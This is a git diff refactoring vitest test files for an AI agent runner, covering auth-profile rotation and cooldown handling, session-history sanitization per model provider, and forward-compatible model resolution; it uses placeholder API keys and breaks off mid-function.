@@ -310,11 +373,7 @@ describe("runEmbeddedPiAgent auth profile rotation", () => {
|
||||
});
|
||||
|
||||
expect(runEmbeddedAttemptMock).toHaveBeenCalledTimes(1);
|
||||
|
||||
const stored = JSON.parse(
|
||||
await fs.readFile(path.join(agentDir, "auth-profiles.json"), "utf-8"),
|
||||
) as { usageStats?: Record<string, { lastUsed?: number }> };
|
||||
expect(stored.usageStats?.["openai:p2"]?.lastUsed).toBe(2);
|
||||
await expectProfileP2UsageUnchanged(agentDir);
|
||||
} finally {
|
||||
await fs.rm(agentDir, { recursive: true, force: true });
|
||||
await fs.rm(workspaceDir, { recursive: true, force: true });
|
||||
@@ -322,71 +381,16 @@ describe("runEmbeddedPiAgent auth profile rotation", () => {
|
||||
});
|
||||
|
||||
it("honors user-pinned profiles even when in cooldown", async () => {
|
||||
vi.useFakeTimers();
|
||||
try {
|
||||
const agentDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-agent-"));
|
||||
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-workspace-"));
|
||||
const now = Date.now();
|
||||
vi.setSystemTime(now);
|
||||
const { usageStats } = await runTurnWithCooldownSeed({
|
||||
sessionKey: "agent:test:user-cooldown",
|
||||
runId: "run:user-cooldown",
|
||||
authProfileId: "openai:p1",
|
||||
authProfileIdSource: "user",
|
||||
});
|
||||
|
||||
try {
|
||||
const authPath = path.join(agentDir, "auth-profiles.json");
|
||||
const payload = {
|
||||
version: 1,
|
||||
profiles: {
|
||||
"openai:p1": { type: "api_key", provider: "openai", key: "sk-one" },
|
||||
"openai:p2": { type: "api_key", provider: "openai", key: "sk-two" },
|
||||
},
|
||||
usageStats: {
|
||||
"openai:p1": { lastUsed: 1, cooldownUntil: now + 60 * 60 * 1000 },
|
||||
"openai:p2": { lastUsed: 2 },
|
||||
},
|
||||
};
|
||||
await fs.writeFile(authPath, JSON.stringify(payload));
|
||||
|
||||
runEmbeddedAttemptMock.mockResolvedValueOnce(
|
||||
makeAttempt({
|
||||
assistantTexts: ["ok"],
|
||||
lastAssistant: buildAssistant({
|
||||
stopReason: "stop",
|
||||
content: [{ type: "text", text: "ok" }],
|
||||
}),
|
||||
}),
|
||||
);
|
||||
|
||||
await runEmbeddedPiAgent({
|
||||
sessionId: "session:test",
|
||||
sessionKey: "agent:test:user-cooldown",
|
||||
sessionFile: path.join(workspaceDir, "session.jsonl"),
|
||||
workspaceDir,
|
||||
agentDir,
|
||||
config: makeConfig(),
|
||||
prompt: "hello",
|
||||
provider: "openai",
|
||||
model: "mock-1",
|
||||
authProfileId: "openai:p1",
|
||||
authProfileIdSource: "user",
|
||||
timeoutMs: 5_000,
|
||||
runId: "run:user-cooldown",
|
||||
});
|
||||
|
||||
expect(runEmbeddedAttemptMock).toHaveBeenCalledTimes(1);
|
||||
|
||||
const stored = JSON.parse(
|
||||
await fs.readFile(path.join(agentDir, "auth-profiles.json"), "utf-8"),
|
||||
) as {
|
||||
usageStats?: Record<string, { lastUsed?: number; cooldownUntil?: number }>;
|
||||
};
|
||||
expect(stored.usageStats?.["openai:p1"]?.cooldownUntil).toBeUndefined();
|
||||
expect(stored.usageStats?.["openai:p1"]?.lastUsed).not.toBe(1);
|
||||
expect(stored.usageStats?.["openai:p2"]?.lastUsed).toBe(2);
|
||||
} finally {
|
||||
await fs.rm(agentDir, { recursive: true, force: true });
|
||||
await fs.rm(workspaceDir, { recursive: true, force: true });
|
||||
}
|
||||
} finally {
|
||||
vi.useRealTimers();
|
||||
}
|
||||
expect(usageStats["openai:p1"]?.cooldownUntil).toBeUndefined();
|
||||
expect(usageStats["openai:p1"]?.lastUsed).not.toBe(1);
|
||||
expect(usageStats["openai:p2"]?.lastUsed).toBe(2);
|
||||
});
|
||||
|
||||
it("ignores user-locked profile when provider mismatches", async () => {
|
||||
@@ -429,116 +433,50 @@ describe("runEmbeddedPiAgent auth profile rotation", () => {
|
||||
});
|
||||
|
||||
it("skips profiles in cooldown during initial selection", async () => {
|
||||
vi.useFakeTimers();
|
||||
try {
|
||||
const agentDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-agent-"));
|
||||
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-workspace-"));
|
||||
const now = Date.now();
|
||||
vi.setSystemTime(now);
|
||||
const { usageStats, now } = await runTurnWithCooldownSeed({
|
||||
sessionKey: "agent:test:skip-cooldown",
|
||||
runId: "run:skip-cooldown",
|
||||
authProfileId: undefined,
|
||||
authProfileIdSource: "auto",
|
||||
});
|
||||
|
||||
try {
|
||||
const authPath = path.join(agentDir, "auth-profiles.json");
|
||||
const payload = {
|
||||
version: 1,
|
||||
profiles: {
|
||||
"openai:p1": { type: "api_key", provider: "openai", key: "sk-one" },
|
||||
"openai:p2": { type: "api_key", provider: "openai", key: "sk-two" },
|
||||
},
|
||||
usageStats: {
|
||||
"openai:p1": { lastUsed: 1, cooldownUntil: now + 60 * 60 * 1000 }, // p1 in cooldown for 1 hour
|
||||
"openai:p2": { lastUsed: 2 },
|
||||
},
|
||||
};
|
||||
await fs.writeFile(authPath, JSON.stringify(payload));
|
||||
|
||||
runEmbeddedAttemptMock.mockResolvedValueOnce(
|
||||
makeAttempt({
|
||||
assistantTexts: ["ok"],
|
||||
lastAssistant: buildAssistant({
|
||||
stopReason: "stop",
|
||||
content: [{ type: "text", text: "ok" }],
|
||||
}),
|
||||
}),
|
||||
);
|
||||
|
||||
await runEmbeddedPiAgent({
|
||||
sessionId: "session:test",
|
||||
sessionKey: "agent:test:skip-cooldown",
|
||||
sessionFile: path.join(workspaceDir, "session.jsonl"),
|
||||
workspaceDir,
|
||||
agentDir,
|
||||
config: makeConfig(),
|
||||
prompt: "hello",
|
||||
provider: "openai",
|
||||
model: "mock-1",
|
||||
authProfileId: undefined,
|
||||
authProfileIdSource: "auto",
|
||||
timeoutMs: 5_000,
|
||||
runId: "run:skip-cooldown",
|
||||
});
|
||||
|
||||
expect(runEmbeddedAttemptMock).toHaveBeenCalledTimes(1);
|
||||
|
||||
const stored = JSON.parse(
|
||||
await fs.readFile(path.join(agentDir, "auth-profiles.json"), "utf-8"),
|
||||
) as { usageStats?: Record<string, { lastUsed?: number; cooldownUntil?: number }> };
|
||||
expect(stored.usageStats?.["openai:p1"]?.cooldownUntil).toBe(now + 60 * 60 * 1000);
|
||||
expect(typeof stored.usageStats?.["openai:p2"]?.lastUsed).toBe("number");
|
||||
} finally {
|
||||
await fs.rm(agentDir, { recursive: true, force: true });
|
||||
await fs.rm(workspaceDir, { recursive: true, force: true });
|
||||
}
|
||||
} finally {
|
||||
vi.useRealTimers();
|
||||
}
|
||||
expect(usageStats["openai:p1"]?.cooldownUntil).toBe(now + 60 * 60 * 1000);
|
||||
expect(typeof usageStats["openai:p2"]?.lastUsed).toBe("number");
|
||||
});
|
||||
|
||||
it("fails over when all profiles are in cooldown and fallbacks are configured", async () => {
|
||||
vi.useFakeTimers();
|
||||
try {
|
||||
const agentDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-agent-"));
|
||||
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-workspace-"));
|
||||
const now = Date.now();
|
||||
vi.setSystemTime(now);
|
||||
await withTimedAgentWorkspace(async ({ agentDir, workspaceDir, now }) => {
|
||||
await writeAuthStore(agentDir, {
|
||||
usageStats: {
|
||||
"openai:p1": { lastUsed: 1, cooldownUntil: now + 60 * 60 * 1000 },
|
||||
"openai:p2": { lastUsed: 2, cooldownUntil: now + 60 * 60 * 1000 },
|
||||
},
|
||||
});
|
||||
|
||||
try {
|
||||
await writeAuthStore(agentDir, {
|
||||
usageStats: {
|
||||
"openai:p1": { lastUsed: 1, cooldownUntil: now + 60 * 60 * 1000 },
|
||||
"openai:p2": { lastUsed: 2, cooldownUntil: now + 60 * 60 * 1000 },
|
||||
},
|
||||
});
|
||||
|
||||
await expect(
|
||||
runEmbeddedPiAgent({
|
||||
sessionId: "session:test",
|
||||
sessionKey: "agent:test:cooldown-failover",
|
||||
sessionFile: path.join(workspaceDir, "session.jsonl"),
|
||||
workspaceDir,
|
||||
agentDir,
|
||||
config: makeConfig({ fallbacks: ["openai/mock-2"] }),
|
||||
prompt: "hello",
|
||||
provider: "openai",
|
||||
model: "mock-1",
|
||||
authProfileIdSource: "auto",
|
||||
timeoutMs: 5_000,
|
||||
runId: "run:cooldown-failover",
|
||||
}),
|
||||
).rejects.toMatchObject({
|
||||
name: "FailoverError",
|
||||
reason: "rate_limit",
|
||||
await expect(
|
||||
runEmbeddedPiAgent({
|
||||
sessionId: "session:test",
|
||||
sessionKey: "agent:test:cooldown-failover",
|
||||
sessionFile: path.join(workspaceDir, "session.jsonl"),
|
||||
workspaceDir,
|
||||
agentDir,
|
||||
config: makeConfig({ fallbacks: ["openai/mock-2"] }),
|
||||
prompt: "hello",
|
||||
provider: "openai",
|
||||
model: "mock-1",
|
||||
});
|
||||
authProfileIdSource: "auto",
|
||||
timeoutMs: 5_000,
|
||||
runId: "run:cooldown-failover",
|
||||
}),
|
||||
).rejects.toMatchObject({
|
||||
name: "FailoverError",
|
||||
reason: "rate_limit",
|
||||
provider: "openai",
|
||||
model: "mock-1",
|
||||
});
|
||||
|
||||
expect(runEmbeddedAttemptMock).not.toHaveBeenCalled();
|
||||
} finally {
|
||||
await fs.rm(agentDir, { recursive: true, force: true });
|
||||
await fs.rm(workspaceDir, { recursive: true, force: true });
|
||||
}
|
||||
} finally {
|
||||
vi.useRealTimers();
|
||||
}
|
||||
expect(runEmbeddedAttemptMock).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
it("fails over when auth is unavailable and fallbacks are configured", async () => {
|
||||
@@ -604,52 +542,19 @@ describe("runEmbeddedPiAgent auth profile rotation", () => {
|
||||
};
|
||||
await fs.writeFile(authPath, JSON.stringify(payload));
|
||||
|
||||
runEmbeddedAttemptMock
|
||||
.mockResolvedValueOnce(
|
||||
makeAttempt({
|
||||
assistantTexts: [],
|
||||
lastAssistant: buildAssistant({
|
||||
stopReason: "error",
|
||||
errorMessage: "rate limit",
|
||||
}),
|
||||
}),
|
||||
)
|
||||
.mockResolvedValueOnce(
|
||||
makeAttempt({
|
||||
assistantTexts: ["ok"],
|
||||
lastAssistant: buildAssistant({
|
||||
stopReason: "stop",
|
||||
content: [{ type: "text", text: "ok" }],
|
||||
}),
|
||||
}),
|
||||
);
|
||||
|
||||
await runEmbeddedPiAgent({
|
||||
sessionId: "session:test",
|
||||
sessionKey: "agent:test:rotate-skip-cooldown",
|
||||
sessionFile: path.join(workspaceDir, "session.jsonl"),
|
||||
workspaceDir,
|
||||
mockFailedThenSuccessfulAttempt("rate limit");
|
||||
await runAutoPinnedOpenAiTurn({
|
||||
agentDir,
|
||||
config: makeConfig(),
|
||||
prompt: "hello",
|
||||
provider: "openai",
|
||||
model: "mock-1",
|
||||
authProfileId: "openai:p1",
|
||||
authProfileIdSource: "auto",
|
||||
timeoutMs: 5_000,
|
||||
workspaceDir,
|
||||
sessionKey: "agent:test:rotate-skip-cooldown",
|
||||
runId: "run:rotate-skip-cooldown",
|
||||
});
|
||||
|
||||
expect(runEmbeddedAttemptMock).toHaveBeenCalledTimes(2);
|
||||
|
||||
const stored = JSON.parse(
|
||||
await fs.readFile(path.join(agentDir, "auth-profiles.json"), "utf-8"),
|
||||
) as {
|
||||
usageStats?: Record<string, { lastUsed?: number; cooldownUntil?: number }>;
|
||||
};
|
||||
expect(typeof stored.usageStats?.["openai:p1"]?.lastUsed).toBe("number");
|
||||
expect(typeof stored.usageStats?.["openai:p3"]?.lastUsed).toBe("number");
|
||||
expect(stored.usageStats?.["openai:p2"]?.cooldownUntil).toBe(now + 60 * 60 * 1000);
|
||||
const usageStats = await readUsageStats(agentDir);
|
||||
expect(typeof usageStats["openai:p1"]?.lastUsed).toBe("number");
|
||||
expect(typeof usageStats["openai:p3"]?.lastUsed).toBe("number");
|
||||
expect(usageStats["openai:p2"]?.cooldownUntil).toBe(now + 60 * 60 * 1000);
|
||||
} finally {
|
||||
await fs.rm(agentDir, { recursive: true, force: true });
|
||||
await fs.rm(workspaceDir, { recursive: true, force: true });
|
||||
|
||||
@@ -1,11 +1,12 @@
|
||||
import type { AgentMessage } from "@mariozechner/pi-agent-core";
|
||||
import type { SessionManager } from "@mariozechner/pi-coding-agent";
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import * as helpers from "./pi-embedded-helpers.js";
|
||||
import {
|
||||
makeInMemorySessionManager,
|
||||
makeModelSnapshotEntry,
|
||||
makeReasoningAssistantMessages,
|
||||
expectGoogleModelApiFullSanitizeCall,
|
||||
loadSanitizeSessionHistoryWithCleanMocks,
|
||||
makeMockSessionManager,
|
||||
makeSimpleUserMessages,
|
||||
makeSnapshotChangedOpenAIReasoningScenario,
|
||||
sanitizeWithOpenAIResponses,
|
||||
} from "./pi-embedded-runner.sanitize-session-history.test-harness.js";
|
||||
|
||||
type SanitizeSessionHistory =
|
||||
@@ -22,45 +23,28 @@ vi.mock("./pi-embedded-helpers.js", async () => {
|
||||
});
|
||||
|
||||
describe("sanitizeSessionHistory e2e smoke", () => {
|
||||
const mockSessionManager = {
|
||||
getEntries: vi.fn().mockReturnValue([]),
|
||||
appendCustomEntry: vi.fn(),
|
||||
} as unknown as SessionManager;
|
||||
const mockMessages: AgentMessage[] = [{ role: "user", content: "hello" }];
|
||||
const mockSessionManager = makeMockSessionManager();
|
||||
const mockMessages = makeSimpleUserMessages();
|
||||
|
||||
beforeEach(async () => {
|
||||
vi.resetAllMocks();
|
||||
vi.mocked(helpers.sanitizeSessionMessagesImages).mockImplementation(async (msgs) => msgs);
|
||||
({ sanitizeSessionHistory } = await import("./pi-embedded-runner/google.js"));
|
||||
sanitizeSessionHistory = await loadSanitizeSessionHistoryWithCleanMocks();
|
||||
});
|
||||
|
||||
it("applies full sanitize policy for google model APIs", async () => {
|
||||
vi.mocked(helpers.isGoogleModelApi).mockReturnValue(true);
|
||||
|
||||
await sanitizeSessionHistory({
|
||||
await expectGoogleModelApiFullSanitizeCall({
|
||||
sanitizeSessionHistory,
|
||||
messages: mockMessages,
|
||||
modelApi: "google-generative-ai",
|
||||
provider: "google-vertex",
|
||||
sessionManager: mockSessionManager,
|
||||
sessionId: "test-session",
|
||||
});
|
||||
|
||||
expect(helpers.sanitizeSessionMessagesImages).toHaveBeenCalledWith(
|
||||
mockMessages,
|
||||
"session:history",
|
||||
expect.objectContaining({ sanitizeMode: "full", sanitizeToolCallIds: true }),
|
||||
);
|
||||
});
|
||||
|
||||
it("keeps images-only sanitize policy without tool-call id rewriting for openai-responses", async () => {
|
||||
vi.mocked(helpers.isGoogleModelApi).mockReturnValue(false);
|
||||
|
||||
await sanitizeSessionHistory({
|
||||
await sanitizeWithOpenAIResponses({
|
||||
sanitizeSessionHistory,
|
||||
messages: mockMessages,
|
||||
modelApi: "openai-responses",
|
||||
provider: "openai",
|
||||
sessionManager: mockSessionManager,
|
||||
sessionId: "test-session",
|
||||
});
|
||||
|
||||
expect(helpers.sanitizeSessionMessagesImages).toHaveBeenCalledWith(
|
||||
@@ -74,23 +58,13 @@ describe("sanitizeSessionHistory e2e smoke", () => {
|
||||
});
|
||||
|
||||
it("downgrades openai reasoning blocks when the model snapshot changed", async () => {
|
||||
const sessionEntries = [
|
||||
makeModelSnapshotEntry({
|
||||
provider: "anthropic",
|
||||
modelApi: "anthropic-messages",
|
||||
modelId: "claude-3-7",
|
||||
}),
|
||||
];
|
||||
const sessionManager = makeInMemorySessionManager(sessionEntries);
|
||||
const messages = makeReasoningAssistantMessages({ thinkingSignature: "object" });
|
||||
const { sessionManager, messages, modelId } = makeSnapshotChangedOpenAIReasoningScenario();
|
||||
|
||||
const result = await sanitizeSessionHistory({
|
||||
const result = await sanitizeWithOpenAIResponses({
|
||||
sanitizeSessionHistory,
|
||||
messages,
|
||||
modelApi: "openai-responses",
|
||||
provider: "openai",
|
||||
modelId: "gpt-5.2-codex",
|
||||
modelId,
|
||||
sessionManager,
|
||||
sessionId: "test-session",
|
||||
});
|
||||
|
||||
expect(result).toEqual([]);
|
||||
|
||||
@@ -1,8 +1,18 @@
|
||||
import type { AgentMessage } from "@mariozechner/pi-agent-core";
|
||||
import type { SessionManager } from "@mariozechner/pi-coding-agent";
|
||||
import { vi } from "vitest";
|
||||
import { expect, vi } from "vitest";
|
||||
import * as helpers from "./pi-embedded-helpers.js";
|
||||
|
||||
export type SessionEntry = { type: string; customType: string; data: unknown };
|
||||
export type SanitizeSessionHistoryFn = (params: {
|
||||
messages: AgentMessage[];
|
||||
modelApi: string;
|
||||
provider: string;
|
||||
sessionManager: SessionManager;
|
||||
sessionId: string;
|
||||
modelId?: string;
|
||||
}) => Promise<AgentMessage[]>;
|
||||
export const TEST_SESSION_ID = "test-session";
|
||||
|
||||
export function makeModelSnapshotEntry(data: {
|
||||
timestamp?: number;
|
||||
@@ -31,6 +41,25 @@ export function makeInMemorySessionManager(entries: SessionEntry[]): SessionMana
|
||||
} as unknown as SessionManager;
|
||||
}
|
||||
|
||||
export function makeMockSessionManager(): SessionManager {
|
||||
return {
|
||||
getEntries: vi.fn().mockReturnValue([]),
|
||||
appendCustomEntry: vi.fn(),
|
||||
} as unknown as SessionManager;
|
||||
}
|
||||
|
||||
export function makeSimpleUserMessages(): AgentMessage[] {
|
||||
const messages = [{ role: "user", content: "hello" }];
|
||||
return messages as unknown as AgentMessage[];
|
||||
}
|
||||
|
||||
export async function loadSanitizeSessionHistoryWithCleanMocks(): Promise<SanitizeSessionHistoryFn> {
|
||||
vi.resetAllMocks();
|
||||
vi.mocked(helpers.sanitizeSessionMessagesImages).mockImplementation(async (msgs) => msgs);
|
||||
const mod = await import("./pi-embedded-runner/google.js");
|
||||
return mod.sanitizeSessionHistory;
|
||||
}
|
||||
|
||||
export function makeReasoningAssistantMessages(opts?: {
|
||||
thinkingSignature?: "object" | "json";
|
||||
}): AgentMessage[] {
|
||||
@@ -56,3 +85,69 @@ export function makeReasoningAssistantMessages(opts?: {
|
||||
|
||||
return messages as unknown as AgentMessage[];
|
||||
}
|
||||
|
||||
export async function sanitizeWithOpenAIResponses(params: {
|
||||
sanitizeSessionHistory: SanitizeSessionHistoryFn;
|
||||
messages: AgentMessage[];
|
||||
sessionManager: SessionManager;
|
||||
modelId?: string;
|
||||
}) {
|
||||
return await params.sanitizeSessionHistory({
|
||||
messages: params.messages,
|
||||
modelApi: "openai-responses",
|
||||
provider: "openai",
|
||||
sessionManager: params.sessionManager,
|
||||
modelId: params.modelId,
|
||||
sessionId: TEST_SESSION_ID,
|
||||
});
|
||||
}
|
||||
|
||||
export function expectOpenAIResponsesStrictSanitizeCall(
|
||||
sanitizeSessionMessagesImagesMock: unknown,
|
||||
messages: AgentMessage[],
|
||||
) {
|
||||
expect(sanitizeSessionMessagesImagesMock).toHaveBeenCalledWith(
|
||||
messages,
|
||||
"session:history",
|
||||
expect.objectContaining({
|
||||
sanitizeMode: "images-only",
|
||||
sanitizeToolCallIds: true,
|
||||
toolCallIdMode: "strict",
|
||||
}),
|
||||
);
|
||||
}
|
||||
|
||||
export async function expectGoogleModelApiFullSanitizeCall(params: {
|
||||
sanitizeSessionHistory: SanitizeSessionHistoryFn;
|
||||
messages: AgentMessage[];
|
||||
sessionManager: SessionManager;
|
||||
}) {
|
||||
vi.mocked(helpers.isGoogleModelApi).mockReturnValue(true);
|
||||
await params.sanitizeSessionHistory({
|
||||
messages: params.messages,
|
||||
modelApi: "google-generative-ai",
|
||||
provider: "google-vertex",
|
||||
sessionManager: params.sessionManager,
|
||||
sessionId: TEST_SESSION_ID,
|
||||
});
|
||||
expect(helpers.sanitizeSessionMessagesImages).toHaveBeenCalledWith(
|
||||
params.messages,
|
||||
"session:history",
|
||||
expect.objectContaining({ sanitizeMode: "full", sanitizeToolCallIds: true }),
|
||||
);
|
||||
}
|
||||
|
||||
export function makeSnapshotChangedOpenAIReasoningScenario() {
|
||||
const sessionEntries = [
|
||||
makeModelSnapshotEntry({
|
||||
provider: "anthropic",
|
||||
modelApi: "anthropic-messages",
|
||||
modelId: "claude-3-7",
|
||||
}),
|
||||
];
|
||||
return {
|
||||
sessionManager: makeInMemorySessionManager(sessionEntries),
|
||||
messages: makeReasoningAssistantMessages({ thinkingSignature: "object" }),
|
||||
modelId: "gpt-5.2-codex",
|
||||
};
|
||||
}
|
||||
|
||||
@@ -1,11 +1,17 @@
|
||||
import type { AgentMessage } from "@mariozechner/pi-agent-core";
|
||||
import type { SessionManager } from "@mariozechner/pi-coding-agent";
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import * as helpers from "./pi-embedded-helpers.js";
|
||||
import {
|
||||
expectGoogleModelApiFullSanitizeCall,
|
||||
loadSanitizeSessionHistoryWithCleanMocks,
|
||||
makeMockSessionManager,
|
||||
makeInMemorySessionManager,
|
||||
makeModelSnapshotEntry,
|
||||
makeReasoningAssistantMessages,
|
||||
makeSimpleUserMessages,
|
||||
makeSnapshotChangedOpenAIReasoningScenario,
|
||||
sanitizeWithOpenAIResponses,
|
||||
TEST_SESSION_ID,
|
||||
} from "./pi-embedded-runner.sanitize-session-history.test-harness.js";
|
||||
|
||||
type SanitizeSessionHistory =
|
||||
@@ -26,35 +32,19 @@ vi.mock("./pi-embedded-helpers.js", async () => {
|
||||
// We rely on the real implementation which should pass through our simple messages.
|
||||
|
||||
describe("sanitizeSessionHistory", () => {
|
||||
const mockSessionManager = {
|
||||
getEntries: vi.fn().mockReturnValue([]),
|
||||
appendCustomEntry: vi.fn(),
|
||||
} as unknown as SessionManager;
|
||||
|
||||
const mockMessages: AgentMessage[] = [{ role: "user", content: "hello" }];
|
||||
const mockSessionManager = makeMockSessionManager();
|
||||
const mockMessages = makeSimpleUserMessages();
|
||||
|
||||
beforeEach(async () => {
|
||||
vi.resetAllMocks();
|
||||
vi.mocked(helpers.sanitizeSessionMessagesImages).mockImplementation(async (msgs) => msgs);
|
||||
({ sanitizeSessionHistory } = await import("./pi-embedded-runner/google.js"));
|
||||
sanitizeSessionHistory = await loadSanitizeSessionHistoryWithCleanMocks();
|
||||
});
|
||||
|
||||
it("sanitizes tool call ids for Google model APIs", async () => {
|
||||
vi.mocked(helpers.isGoogleModelApi).mockReturnValue(true);
|
||||
|
||||
await sanitizeSessionHistory({
|
||||
await expectGoogleModelApiFullSanitizeCall({
|
||||
sanitizeSessionHistory,
|
||||
messages: mockMessages,
|
||||
modelApi: "google-generative-ai",
|
||||
provider: "google-vertex",
|
||||
sessionManager: mockSessionManager,
|
||||
sessionId: "test-session",
|
||||
});
|
||||
|
||||
expect(helpers.sanitizeSessionMessagesImages).toHaveBeenCalledWith(
|
||||
mockMessages,
|
||||
"session:history",
|
||||
expect.objectContaining({ sanitizeMode: "full", sanitizeToolCallIds: true }),
|
||||
);
|
||||
});
|
||||
|
||||
it("sanitizes tool call ids with strict9 for Mistral models", async () => {
|
||||
@@ -66,7 +56,7 @@ describe("sanitizeSessionHistory", () => {
|
||||
provider: "openrouter",
|
||||
modelId: "mistralai/devstral-2512:free",
|
||||
sessionManager: mockSessionManager,
|
||||
sessionId: "test-session",
|
||||
sessionId: TEST_SESSION_ID,
|
||||
});
|
||||
|
||||
expect(helpers.sanitizeSessionMessagesImages).toHaveBeenCalledWith(
|
||||
@@ -88,7 +78,7 @@ describe("sanitizeSessionHistory", () => {
|
||||
modelApi: "anthropic-messages",
|
||||
provider: "anthropic",
|
||||
sessionManager: mockSessionManager,
|
||||
sessionId: "test-session",
|
||||
sessionId: TEST_SESSION_ID,
|
||||
});
|
||||
|
||||
expect(helpers.sanitizeSessionMessagesImages).toHaveBeenCalledWith(
|
||||
@@ -101,12 +91,10 @@ describe("sanitizeSessionHistory", () => {
|
||||
it("does not sanitize tool call ids for openai-responses", async () => {
|
||||
vi.mocked(helpers.isGoogleModelApi).mockReturnValue(false);
|
||||
|
||||
await sanitizeSessionHistory({
|
||||
await sanitizeWithOpenAIResponses({
|
||||
sanitizeSessionHistory,
|
||||
messages: mockMessages,
|
||||
modelApi: "openai-responses",
|
||||
provider: "openai",
|
||||
sessionManager: mockSessionManager,
|
||||
sessionId: "test-session",
|
||||
});
|
||||
|
||||
expect(helpers.sanitizeSessionMessagesImages).toHaveBeenCalledWith(
|
||||
@@ -136,7 +124,7 @@ describe("sanitizeSessionHistory", () => {
|
||||
modelApi: "openai-responses",
|
||||
provider: "openai",
|
||||
sessionManager: mockSessionManager,
|
||||
sessionId: "test-session",
|
||||
sessionId: TEST_SESSION_ID,
|
||||
});
|
||||
|
||||
const first = result[0] as Extract<AgentMessage, { role: "user" }>;
|
||||
@@ -169,7 +157,7 @@ describe("sanitizeSessionHistory", () => {
|
||||
modelApi: "openai-responses",
|
||||
provider: "openai",
|
||||
sessionManager: mockSessionManager,
|
||||
sessionId: "test-session",
|
||||
sessionId: TEST_SESSION_ID,
|
||||
});
|
||||
|
||||
expect(result).toHaveLength(2);
|
||||
@@ -189,7 +177,7 @@ describe("sanitizeSessionHistory", () => {
|
||||
modelApi: "openai-responses",
|
||||
provider: "openai",
|
||||
sessionManager: mockSessionManager,
|
||||
sessionId: "test-session",
|
||||
sessionId: TEST_SESSION_ID,
|
||||
});
|
||||
|
||||
expect(result).toHaveLength(1);
|
||||
@@ -227,36 +215,24 @@ describe("sanitizeSessionHistory", () => {
|
||||
const sessionManager = makeInMemorySessionManager(sessionEntries);
|
||||
const messages = makeReasoningAssistantMessages({ thinkingSignature: "json" });
|
||||
|
||||
const result = await sanitizeSessionHistory({
|
||||
const result = await sanitizeWithOpenAIResponses({
|
||||
sanitizeSessionHistory,
|
||||
messages,
|
||||
modelApi: "openai-responses",
|
||||
provider: "openai",
|
||||
modelId: "gpt-5.2-codex",
|
||||
sessionManager,
|
||||
sessionId: "test-session",
|
||||
});
|
||||
|
||||
expect(result).toEqual(messages);
|
||||
});
|
||||
|
||||
it("downgrades openai reasoning when the model changes", async () => {
|
||||
const sessionEntries = [
|
||||
makeModelSnapshotEntry({
|
||||
provider: "anthropic",
|
||||
modelApi: "anthropic-messages",
|
||||
modelId: "claude-3-7",
|
||||
}),
|
||||
];
|
||||
const sessionManager = makeInMemorySessionManager(sessionEntries);
|
||||
const messages = makeReasoningAssistantMessages({ thinkingSignature: "object" });
|
||||
it("downgrades openai reasoning only when the model changes", async () => {
|
||||
const { sessionManager, messages, modelId } = makeSnapshotChangedOpenAIReasoningScenario();
|
||||
|
||||
const result = await sanitizeSessionHistory({
|
||||
const result = await sanitizeWithOpenAIResponses({
|
||||
sanitizeSessionHistory,
|
||||
messages,
|
||||
modelApi: "openai-responses",
|
||||
provider: "openai",
|
||||
modelId: "gpt-5.2-codex",
|
||||
modelId,
|
||||
sessionManager,
|
||||
sessionId: "test-session",
|
||||
});
|
||||
|
||||
expect(result).toEqual([]);
|
||||
@@ -297,7 +273,7 @@ describe("sanitizeSessionHistory", () => {
|
||||
provider: "anthropic",
|
||||
modelId: "claude-opus-4-6",
|
||||
sessionManager,
|
||||
sessionId: "test-session",
|
||||
sessionId: TEST_SESSION_ID,
|
||||
});
|
||||
|
||||
expect(result.map((msg) => msg.role)).toEqual(["assistant", "toolResult", "user"]);
|
||||
|
||||
@@ -6,7 +6,6 @@ vi.mock("../pi-model-discovery.js", () => ({
|
||||
}));
|
||||
|
||||
import type { OpenClawConfig } from "../../config/config.js";
|
||||
import { discoverModels } from "../pi-model-discovery.js";
|
||||
import { buildInlineProviderModels, resolveModel } from "./model.js";
|
||||
import {
|
||||
makeModel,
|
||||
@@ -19,6 +18,48 @@ beforeEach(() => {
|
||||
resetMockDiscoverModels();
|
||||
});
|
||||
|
||||
function buildForwardCompatTemplate(params: {
|
||||
id: string;
|
||||
name: string;
|
||||
provider: string;
|
||||
api: "anthropic-messages" | "google-gemini-cli" | "openai-completions";
|
||||
baseUrl: string;
|
||||
input?: readonly ["text"] | readonly ["text", "image"];
|
||||
cost?: { input: number; output: number; cacheRead: number; cacheWrite: number };
|
||||
contextWindow?: number;
|
||||
maxTokens?: number;
|
||||
}) {
|
||||
return {
|
||||
id: params.id,
|
||||
name: params.name,
|
||||
provider: params.provider,
|
||||
api: params.api,
|
||||
baseUrl: params.baseUrl,
|
||||
reasoning: true,
|
||||
input: params.input ?? (["text", "image"] as const),
|
||||
cost: params.cost ?? { input: 5, output: 25, cacheRead: 0.5, cacheWrite: 6.25 },
|
||||
contextWindow: params.contextWindow ?? 200000,
|
||||
maxTokens: params.maxTokens ?? 64000,
|
||||
};
|
||||
}
|
||||
|
||||
function expectResolvedForwardCompatFallback(params: {
|
||||
provider: string;
|
||||
id: string;
|
||||
expectedModel: Record<string, unknown>;
|
||||
cfg?: OpenClawConfig;
|
||||
}) {
|
||||
const result = resolveModel(params.provider, params.id, "/tmp/agent", params.cfg);
|
||||
expect(result.error).toBeUndefined();
|
||||
expect(result.model).toMatchObject(params.expectedModel);
|
||||
}
|
||||
|
||||
function expectUnknownModelError(provider: string, id: string) {
|
||||
const result = resolveModel(provider, id, "/tmp/agent");
|
||||
expect(result.model).toBeUndefined();
|
||||
expect(result.error).toBe(`Unknown model: ${provider}/${id}`);
|
||||
}
|
||||
|
||||
describe("buildInlineProviderModels", () => {
|
||||
it("attaches provider ids to inline models", () => {
|
||||
const providers = {
|
||||
@@ -151,175 +192,126 @@ describe("resolveModel", () => {
|
||||
});
|
||||
|
||||
it("builds an anthropic forward-compat fallback for claude-opus-4-6", () => {
|
||||
const templateModel = {
|
||||
id: "claude-opus-4-5",
|
||||
name: "Claude Opus 4.5",
|
||||
mockDiscoveredModel({
|
||||
provider: "anthropic",
|
||||
api: "anthropic-messages",
|
||||
